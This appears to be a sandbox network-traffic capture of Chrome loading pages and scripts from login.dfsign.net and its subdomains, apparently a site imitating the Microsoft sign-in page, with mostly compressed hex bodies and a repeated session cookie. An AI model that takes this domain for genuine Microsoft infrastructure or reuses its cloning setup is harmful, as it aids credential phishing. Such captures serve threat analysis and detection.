2025-01-07 13:48:48 UTC	9936	IN	Data Raw: b3 d7 31 3b 1f 3a 66 47 28 e3 c2 ef e8 55 4b e4 aa 7c 91 00 ac ab d6 28 d1 a8 78 4d e2 24 ea dd 87 da 96 89 c8 2a ed f3 ec 34 3f 53 64 09 08 2e 0e 68 b9 fb 64 24 91 f0 de bd 5c a2 f5 2c fb 2a fa 4b 52 a6 48 0b ac 6c 58 73 88 3a 38 fd 22 ac a7 51 d2 95 90 d8 f9 44 65 06 74 fc 11 94 01 f8 66 68 dc cc 15 8b 22 98 81 63 9d 7a 73 dc bb a6 d6 46 17 71 e8 bc 4f 05 5e 21 5b e1 b1 58 51 72 5c d1 fb 94 ea 71 11 0f 70 70 de 24 c0 7f 4a df c9 ab b8 36 f5 f8 e3 85 64 58 b8 e0 64 c5 6c b3 55 10 44 17 91 10 06 2d c5 e7 d9 4d 32 16 e2 72 11 3d 22 10 89 e2 4b 69 6e b5 f9 e5 98 a5 d6 de 3e e7 dc a3 bf e2 7c 93 f6 4e e0 6e 56 43 c7 57 33 27 ae 22 e3 58 c7 e3 dd 19 bc ab ab a1 b1 8d be 15 bf 9e 7d f1 f8 66 c7 67 6c 2f 9f a7 77 1f 2a 8e de 3e 95 d7 a6 3c 79 e9 c7 21 b2 0b 58 Data Ascii: 1;:fG(UK\|(xM$4?Sd.hd$\,KRHlXs:8"QDetfh"czsFqO^![XQr\qpp$J6dXdlUD-M2r="Kin>\|NnVCW3'"X}fgl/w*><y!X
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: 41 52 f5 d0 2f f8 06 fd f2 d6 36 82 9c fe cb 54 1b a6 68 f3 1c ff 5c e3 9f 2c 9c d0 97 2e fa d9 c3 43 de f7 2e c2 19 0d 3f 55 f1 7c c3 27 f6 e9 82 3e 20 37 f0 8d b9 34 74 7a 3a 55 9d 3c 0b ef 89 df 2d e7 45 50 fa 82 4f 92 9e 3e 7f 9e 03 2e 86 a6 02 f9 bf 90 32 49 55 42 35 50 bd 83 eb e5 95 24 aa 92 98 2a c9 74 25 19 8c fb 54 a9 4f f7 fc 88 26 17 ce aa 0f 0f 53 95 6c 4c bd 4a 6b b6 8c 98 dd 30 0d c9 cf 16 36 48 17 16 af 7b 4d 0c 25 6d ef 31 d1 9a bd e4 3a 29 11 fd 5e c0 09 f4 9b 89 e7 4f 7b 70 19 ce d9 fd ba 85 a9 56 b3 36 26 a1 33 cc b2 69 1c d9 69 af 06 f7 f5 6a 83 64 01 50 99 fb 85 5f c2 31 84 86 5a cc b3 48 1d a3 22 4c 0c bc 00 8b 61 c4 78 8c 71 22 11 59 65 60 d6 31 bc ec 19 47 2e b5 6e e9 42 89 57 69 d8 e7 65 32 2d 18 9d 89 4e 66 86 71 61 d5 17 d6 f9 Data Ascii: AR/6Th\,.C.?U\|'> 74tz:U<-EPO>.2IUB5P$*t%TO&SlLJk06H{M%m1:)^O{pV6&3iijdP_1ZH"Laxq"Ye`1G.nBWie2-Nfqa
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: 22 44 04 d1 9b 41 93 15 b9 b4 5d 2f 87 fc c8 83 98 ef a6 b3 d4 77 a0 ea 25 9e 80 38 87 7a ec 01 b7 c1 04 05 13 b6 17 b2 28 f1 76 b3 4e 46 33 b2 83 28 17 76 9c c4 50 52 5c 27 93 cc 13 89 9b 7b 8e ed ba dc 87 65 b0 9b ce 52 07 62 c1 cb a0 4a 44 5c 80 83 db 82 31 58 02 41 48 2a 0b f4 e4 db 6d 4d ad 76 63 34 a3 24 81 75 ec c1 84 89 85 9f 30 cf 15 3c 91 5c 7a 76 1e 86 24 24 77 43 4f 7e 6a 83 46 63 96 e5 01 d6 c4 0e 20 98 5c ce 12 df 27 ed 39 84 60 df cd d4 19 cd 28 0b 40 3e b9 f4 63 1b 6c dc 8b 6c c7 8f 1d 86 d9 04 8b 15 b6 ed ee 84 93 bb 41 ea ba 02 32 2f 27 b3 d0 b1 13 48 72 97 09 c7 77 62 c8 f7 d8 8f 92 db ed 8c ad 76 63 34 a3 44 04 51 ec d8 a1 e7 c6 be 6d d3 c0 ec cc 0e a0 b8 10 53 0f 6f b9 5f b9 d6 19 2c 42 87 d9 71 ec 8b 84 fb d0 cf 25 38 9f e0 59 c6 60 Data Ascii: "DA]/w%8z(vNF3(vPR\'{eRbJD\1XAH*mMvc4$u0<\zv$$wCO~jFc \'9`(@>cllA2/'Hrwbvc4DQmSo_,Bq%8Y`
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: dd c0 df 41 aa 7d 49 e6 ce 17 28 16 8d 7f f8 4f f1 f8 07 10 8f f3 7a b1 5a 42 61 27 62 73 53 bb 3b 11 a7 9b 1a 6f aa 3c 6d 15 b8 a9 ba 7e cd 8c fc 46 82 ea b6 22 44 6f a4 2d f7 da 88 c6 fe e4 b1 ff 39 3c 96 2e 7e 5f c8 1f ff f6 a0 e1 ac d7 f9 8a 77 c5 75 e7 aa d7 83 d9 e9 9f 2c f7 a6 2c 57 4f dd 8f a7 fd 8c b7 f3 ed 4f 9b e2 16 36 c5 6f a3 d1 df 26 88 e2 96 2c 7c 73 58 61 f7 d3 1f 94 ab eb 86 9e ae 52 c5 a6 e6 9e 7e 12 89 7c 79 3b 89 db 70 77 a8 07 33 ac c4 03 36 63 f3 77 3f e9 7c 1a 6d 7f f2 e7 e5 f8 35 af e7 1a 88 03 ae a0 38 78 dd 80 f1 99 25 00 65 e5 58 1d f9 fd 3a 63 47 3b ee 62 63 b1 df 7c f7 e1 4b 40 9c 27 67 74 e7 53 51 b1 f3 ac 38 bd ec a2 cb a7 db 56 d4 c8 81 e8 b4 f2 1f b2 c3 30 2d f9 ba 2e 6e 5e 6e 34 96 7e a3 28 ef ff ce fd b2 ef df 30 30 3a Data Ascii: A}I(OzZBa'bsS;o<m~F"Do-9<.~_wu,,WOO6o&,\|sXaR~\|y;pw36cw?\|m58x%eX:cG;bc\|K@'gtSQ8V0-.n^n4~(00:
2025-01-07 13:48:48 UTC	7811	IN	Data Raw: 7c cb 7a 15 26 40 d6 68 46 62 e8 ec bb 0e 3a 21 32 06 77 1c b8 8b d0 0f 12 ce 6b da c6 29 5f a8 6a 6f 03 a3 ce d1 c0 e0 79 99 8e 52 0e 2c 11 06 86 db 36 5e 08 84 e2 23 c6 49 71 7c 65 21 25 6c dc 79 f0 b9 f1 8e 4d 0b 26 a4 23 86 c3 28 22 b7 c6 1b 41 2e c7 c2 05 e5 22 82 cd 81 ba 6f 29 99 5f 43 69 1a e1 0e 0c 14 cb 69 e7 b5 02 a7 57 fe 27 2a 1c ea 8d 9f 65 47 b9 15 e5 ca 3f 5b 07 b9 01 fd 87 15 04 c8 32 1e 7c c1 7c c0 b2 7d 03 40 27 b7 0b e3 25 5f 2f 72 3d 3f 0c 5c 04 34 1a 70 00 41 70 85 3e 1b bf c8 0e 7f a1 36 8e 00 29 92 6f 6b 30 d5 24 74 c2 b9 f1 8d 32 d6 e7 2f ce 4e 40 c4 ba 8c 38 37 fd 11 c1 f7 bb f1 1b 9d 7e b9 33 fe 21 6c 75 bf 53 3c 53 fe 49 fc fa 3b 7b f7 4f f6 ef bf e8 d4 ef 84 29 58 31 bd 94 f1 ef c2 b3 57 ed 0e 7a f1 04 6e eb 4b ba 6b bf 63 39 Data Ascii: \|z&@hFb:!2wk)_joyR,6^#Iq\|e!%lyM&#("A."o)_CiiW'*eG?[2\|\|}@'%_/r=?\4pAp>6)ok0$t2/N@87~3!luS<SI;{O)X1WznKkc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49736	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:47 UTC	793	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: l1ve.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:48 UTC	514	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1416 Connection: close cache-control: max-age=315360000 vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C544_SN1 x-ms-request-id: 0838ecd9-3e30-4845-ab95-7628af427021 ppserver: PPV: 30 H: SN1PEPF0002F9AF V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:48 UTC	1416	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 57 4d 6f db 38 10 bd f7 57 d8 44 11 88 1b ae 22 db 71 9c c8 61 83 a2 db 45 5d 34 6d 51 75 b1 07 57 0b 30 14 65 73 2b 53 02 49 bb 2d 1c fd f7 1d 7d 59 b2 da 4d d0 43 0f 89 e5 e1 cc f0 bd e1 cc a3 7c 6d b8 96 99 1d d8 6f 99 a0 c8 8a af f6 ec 5f b6 63 95 15 3d 7b 32 18 c6 5b c5 ad 4c 95 63 89 c0 fb 38 d5 ce 8e e9 81 19 48 35 10 d8 2e 4d 48 05 fc cb 1d bb 96 86 b4 ce e0 5a 3f 0f 84 a3 f0 5e c6 8e 59 aa 10 6b 61 b7 5a 0d 8a 67 57 7c cd 52 6d cd bc 48 28 69 61 a2 fb da e6 ef 73 22 23 5f 91 24 65 91 88 fc e1 28 9f d7 a1 b6 08 e5 2c 49 1c d9 64 20 92 b4 cf 02 c3 97 2a 8c 0e bd 76 21 2f 71 d3 fd 21 91 70 37 14 48 b9 9c 42 90 9b 51 84 88 70 3c 9c 3b cb 1e e7 86 88 29 69 d5 15 10 34 5e 06 21 31 d4 23 8a 0a 37 11 6a 65 d7 73 73 ad e6 Data Ascii: WMo8WD"qaE]4mQuW0es+SI-}YMC\|mo_c={2[Lc8H5.MHZ?^YkaZgW\|RmH(ias"#_$e(,Id *v!/q!p7HBQp<;)i4^!1#7jess

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49737	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:47 UTC	690	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: RxUab2WDDBVEi2v1JOROUA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:48:48 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:48:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 39bd20a1-9af1-4950-aae8-6898f529ef00 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49738	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:47 UTC	644	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:48 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:48 GMT Content-Type: application/x-javascript Content-Length: 40470 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 26 Feb 2021 06:13:13 GMT etag: 0x8D8DA1D997CA245 x-ms-request-id: 4689eae2-a01e-0018-26e5-5a6b8e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134847Z-15464c697c5bghnphC1FRA6y6w0000000qy000000000ygzd x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:48 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 7b 7b db c6 b5 37 fa ff 79 9e f3 1d 44 34 65 01 73 48 91 76 93 77 17 14 c2 c7 91 9d c4 6d ee 72 9a a4 14 93 07 26 87 12 62 0a 60 00 50 b2 22 72 7f f6 b3 7e 6b 2e 18 5c 28 a7 dd fb 3d 6e 23 e2 32 98 eb 9a 35 eb be 4e 9f f4 4e 7e fd 76 27 f3 fb 93 db 67 a3 0f 47 93 93 fd 89 bf 0c 4e fe 7e 71 f2 69 b6 4b 57 71 99 64 e9 49 9c ae 4e b2 f2 5a e6 27 cb 2c 2d f3 e4 cd ae cc f2 82 8a fe fa 1b 3e 1d 65 f9 d5 e9 26 59 ca b4 90 27 4f 4e ff df ff a7 b7 de a5 4b 7c e9 4b 51 06 0f de 8e 9e 17 f4 dd b2 f4 a6 5e f6 e6 57 49 17 51 54 de 6f 65 b6 3e b9 c9 56 bb 8d ec f7 8f bc 18 c9 77 db 2c 2f 8b 59 fd 36 92 a3 55 b6 dc dd c8 b4 9c 95 d4 4c 6f 1c 84 55 ab c1 43 b2 f6 7b 55 91 a0 bc ce b3 bb 93 54 de 9d bc cc f3 2c f7 3d 3d e8 5c fe b6 4b Data Ascii: {{7yD4esHvwmr&b`P"r~k.\(=n#25NN~v'gGN~qiKWqdINZ',->e&Y'ONK\|KQ^WIQToe>Vw,/Y6ULoUC{UT,==\K
2025-01-07 13:48:48 UTC	16384	IN	Data Raw: 80 b3 8b 66 36 d9 40 66 71 a7 f6 7e 7d 00 14 84 9b 6a 1d b2 83 5d d2 8d da ac bb b3 f2 bd 5f 19 87 ca 1d c8 fc 82 69 71 c0 49 8d 1e 0f 1e ba 8d 49 5b bc 03 11 00 0f 32 25 34 62 ec 48 9b 76 a5 6c df c9 61 61 5c 4f 16 6d 24 85 0d 90 a4 90 0a ba 89 4a bb de d5 f4 93 8f 7e de 7e 43 e8 ad 69 d7 7a 6c 7c 9a e7 7d cf 90 ee f2 a4 34 d7 8a e3 52 19 21 e0 4f da 1d 6b 64 6e cd 83 17 33 19 e2 a0 d0 33 c9 66 73 1a 23 84 0f b0 32 47 ba a8 4f 76 6f b4 55 ae 60 10 0e 1f 98 80 ec b0 a1 44 87 91 13 40 37 b4 d5 48 aa 34 21 34 e9 20 41 05 10 f7 96 c2 e8 33 e8 8e a3 2d aa ed 01 1e 4d 20 eb b9 66 38 fe ef b4 42 4d 8c 0f 95 18 bd c3 1a d4 e0 87 7f b3 11 7d 8a da 76 f6 7b 7e 1f f3 c9 fd 46 d2 fe 96 bb 54 4d ac 8b e5 ea 3d 30 88 5a 6a 6c 07 89 41 0d 86 d8 08 b6 f6 64 a4 fa c9 fa Data Ascii: f6@fq~}j]_iqII[2%4bHvlaa\Om$J~~Cizl\|}4R!Okdn33fs#2GOvoU`D@7H4!4 A3-M f8BM}v{~FTM=0ZjlAd
2025-01-07 13:48:48 UTC	8514	IN	Data Raw: 74 6b fa 8b dd 9a aa bd 5a 24 00 15 58 95 9f fa 40 5c e9 ba fc a9 69 18 56 81 3e d9 57 09 e4 ac 50 a1 86 49 13 29 df 27 b6 6a 6a d8 74 bb f4 51 16 ba a7 75 b3 ae d5 7e f7 de 96 87 db dd ed d1 c3 9b 25 52 68 bf bd 8f 96 19 b4 24 c8 cf b8 5f 89 1f 5d 61 68 ae 24 3f 23 7b c0 16 9a 06 c0 f1 29 0c b0 a6 ae e4 10 0e 90 1a 43 83 45 1c 83 e2 03 dd 6a 98 2f c5 db aa 02 e8 ac d4 1c 1c ba 6e 93 5f 0e 50 d5 68 86 09 c9 a5 ba 76 3e 7a 5d 59 be 37 4d d0 aa 80 c9 bc 68 66 4f cc 99 69 96 b4 62 ef 45 77 83 c2 f2 75 96 d4 e2 48 ef 65 48 cb 61 ca 8e aa 87 9a e8 57 96 fa 3c 63 11 aa 73 46 dd c8 fd 71 14 d7 cd d3 71 90 9f 96 51 5a 1d 46 4c 0e 89 f4 9c fe ed d5 38 9d 6f 12 c2 c0 6e 4d 86 ee 90 b9 1b 47 06 46 1b d5 f6 44 ae 39 e7 64 ba 07 e8 10 e0 ea bc 12 e5 7b ab 31 66 71 6f Data Ascii: tkZ$X@\iV>WPI)'jjtQu~%Rh$_]ah$?#{)CEj/n_Phv>z]Y7MhfOibEwuHeHaW<csFqqQZFL8onMGFD9d{1fqo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49739	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:48 UTC	557	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:49 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:49 GMT Content-Type: application/x-javascript Content-Length: 40470 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 26 Feb 2021 06:13:13 GMT etag: 0x8D8DA1D997CA245 x-ms-request-id: 4689eae2-a01e-0018-26e5-5a6b8e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134849Z-15464c697c5cc7wkhC1FRAmrwn0000000qw000000000g02x x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:49 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bc bd 7b 7b db c6 b5 37 fa ff 79 9e f3 1d 44 34 65 01 73 48 91 76 93 77 17 14 c2 c7 91 9d c4 6d ee 72 9a a4 14 93 07 26 87 12 62 0a 60 00 50 b2 22 72 7f f6 b3 7e 6b 2e 18 5c 28 a7 dd fb 3d 6e 23 e2 32 98 eb 9a 35 eb be 4e 9f f4 4e 7e fd 76 27 f3 fb 93 db 67 a3 0f 47 93 93 fd 89 bf 0c 4e fe 7e 71 f2 69 b6 4b 57 71 99 64 e9 49 9c ae 4e b2 f2 5a e6 27 cb 2c 2d f3 e4 cd ae cc f2 82 8a fe fa 1b 3e 1d 65 f9 d5 e9 26 59 ca b4 90 27 4f 4e ff df ff a7 b7 de a5 4b 7c e9 4b 51 06 0f de 8e 9e 17 f4 dd b2 f4 a6 5e f6 e6 57 49 17 51 54 de 6f 65 b6 3e b9 c9 56 bb 8d ec f7 8f bc 18 c9 77 db 2c 2f 8b 59 fd 36 92 a3 55 b6 dc dd c8 b4 9c 95 d4 4c 6f 1c 84 55 ab c1 43 b2 f6 7b 55 91 a0 bc ce b3 bb 93 54 de 9d bc cc f3 2c f7 3d 3d e8 5c fe b6 4b Data Ascii: {{7yD4esHvwmr&b`P"r~k.\(=n#25NN~v'gGN~qiKWqdINZ',->e&Y'ONK\|KQ^WIQToe>Vw,/Y6ULoUC{UT,==\K
2025-01-07 13:48:49 UTC	16384	IN	Data Raw: 80 b3 8b 66 36 d9 40 66 71 a7 f6 7e 7d 00 14 84 9b 6a 1d b2 83 5d d2 8d da ac bb b3 f2 bd 5f 19 87 ca 1d c8 fc 82 69 71 c0 49 8d 1e 0f 1e ba 8d 49 5b bc 03 11 00 0f 32 25 34 62 ec 48 9b 76 a5 6c df c9 61 61 5c 4f 16 6d 24 85 0d 90 a4 90 0a ba 89 4a bb de d5 f4 93 8f 7e de 7e 43 e8 ad 69 d7 7a 6c 7c 9a e7 7d cf 90 ee f2 a4 34 d7 8a e3 52 19 21 e0 4f da 1d 6b 64 6e cd 83 17 33 19 e2 a0 d0 33 c9 66 73 1a 23 84 0f b0 32 47 ba a8 4f 76 6f b4 55 ae 60 10 0e 1f 98 80 ec b0 a1 44 87 91 13 40 37 b4 d5 48 aa 34 21 34 e9 20 41 05 10 f7 96 c2 e8 33 e8 8e a3 2d aa ed 01 1e 4d 20 eb b9 66 38 fe ef b4 42 4d 8c 0f 95 18 bd c3 1a d4 e0 87 7f b3 11 7d 8a da 76 f6 7b 7e 1f f3 c9 fd 46 d2 fe 96 bb 54 4d ac 8b e5 ea 3d 30 88 5a 6a 6c 07 89 41 0d 86 d8 08 b6 f6 64 a4 fa c9 fa Data Ascii: f6@fq~}j]_iqII[2%4bHvlaa\Om$J~~Cizl\|}4R!Okdn33fs#2GOvoU`D@7H4!4 A3-M f8BM}v{~FTM=0ZjlAd
2025-01-07 13:48:49 UTC	8514	IN	Data Raw: d6 f4 17 bb 35 55 7b b5 48 00 2a b0 2a 3f f5 81 b8 d2 75 f9 53 d3 30 ac 02 7d b2 af 12 c8 59 a1 42 0d 93 26 52 be 4f 6c d5 d4 b0 e9 76 e9 a3 2c 74 4f eb 66 5d ab fd ee bd 2d 0f b7 bb db a3 87 37 4b a4 d0 7e 7b 1f 2d 33 68 49 90 9f 71 bf 12 3f ba c2 d0 5c 49 7e 46 f6 80 2d 34 0d 80 e3 53 18 60 4d 5d c9 21 1c 20 35 86 06 8b 38 06 c5 07 ba d5 30 5f 8a b7 55 05 d0 59 a9 39 38 74 dd 26 bf 1c a0 aa d1 0c 13 92 4b 75 ed 7c f4 ba b2 7c 6f 9a a0 55 01 93 79 d1 cc 9e 98 33 d3 2c 69 c5 de 8b ee 06 85 e5 eb 2c a9 c5 91 de cb 90 96 c3 94 1d 55 0f 35 d1 af 2c f5 79 c6 22 54 e7 8c ba 91 fb e3 28 ae 9b a7 e3 20 3f 2d a3 b4 3a 8c 98 1c 12 e9 39 fd db ab 71 3a df 24 84 81 dd 9a 0c dd 21 73 37 8e 0c 8c 36 aa ed 89 5c 73 ce c9 74 0f d0 21 c0 d5 79 25 ca f7 56 63 cc e2 de 64 Data Ascii: 5U{H**?uS0}YB&ROlv,tOf]-7K~{-3hIq?\I~F-4S`M]! 580_UY98t&Ku\|\|oUy3,i,U5,y"T( ?-:9q:$!s76\st!y%Vcd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49727	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:48 UTC	697	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:49 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:49 GMT Content-Type: application/x-javascript Content-Length: 61127 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 9984e268-d01e-0002-4f9c-580a51000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134849Z-1777998d8f9mwqzwhC1DUS4htg00000010ug00000000244v x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:49 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c 60 9a 94 97 38 a4 11 5e 59 a2 6d 26 da a2 25 4e 46 d6 e8 40 60 4b 82 4d 02 0c 00 4a d6 48 fc ef 4f 55 f5 8e 85 92 92 dc f7 be 27 b1 08 34 aa f7 ea ea ea ea 5a dc 9b 38 19 a7 37 ed 82 4d d8 94 15 d9 ed d9 0d 3b 9f 85 d1 d7 9f f2 34 99 05 4b bf de df 9f 9c 7a ed d9 3c bf 72 4f 4e d6 4f fd 13 df f7 2f e6 49 54 c4 69 e2 32 bf f0 13 ef ce 99 e7 ac 95 17 59 1c 15 4e 3f 69 67 6e e1 f9 49 7b ec 16 be f3 6b 38 99 b3 9f a1 02 c7 77 55 36 ef 2e 63 c5 3c 4b 5a 59 9b 2d 3c 05 3b bc 66 49 b1 1d 16 2c 89 6e 1b c0 c3 32 f8 3e cb f2 38 c7 2c ac 21 cb b9 91 e5 28 0b 23 b6 cd ae d9 a4 01 78 6c 00 6f cc 66 a3 24 8f 2f af 8a 7c 33 cd ea 8b 8f ad 16 bd 0b 73 d6 08 6a 16 7d 36 fc 06 4d 1e b3 f1 28 Data Ascii: iwF0'W`8^Ym&%NF@`KMJHOU'4Z87M;4Kz<rONO/ITi2YN?ignI{k8wU6.c<KZY-<;fI,n2>8,!(#xlof$/\|3sj}6M(
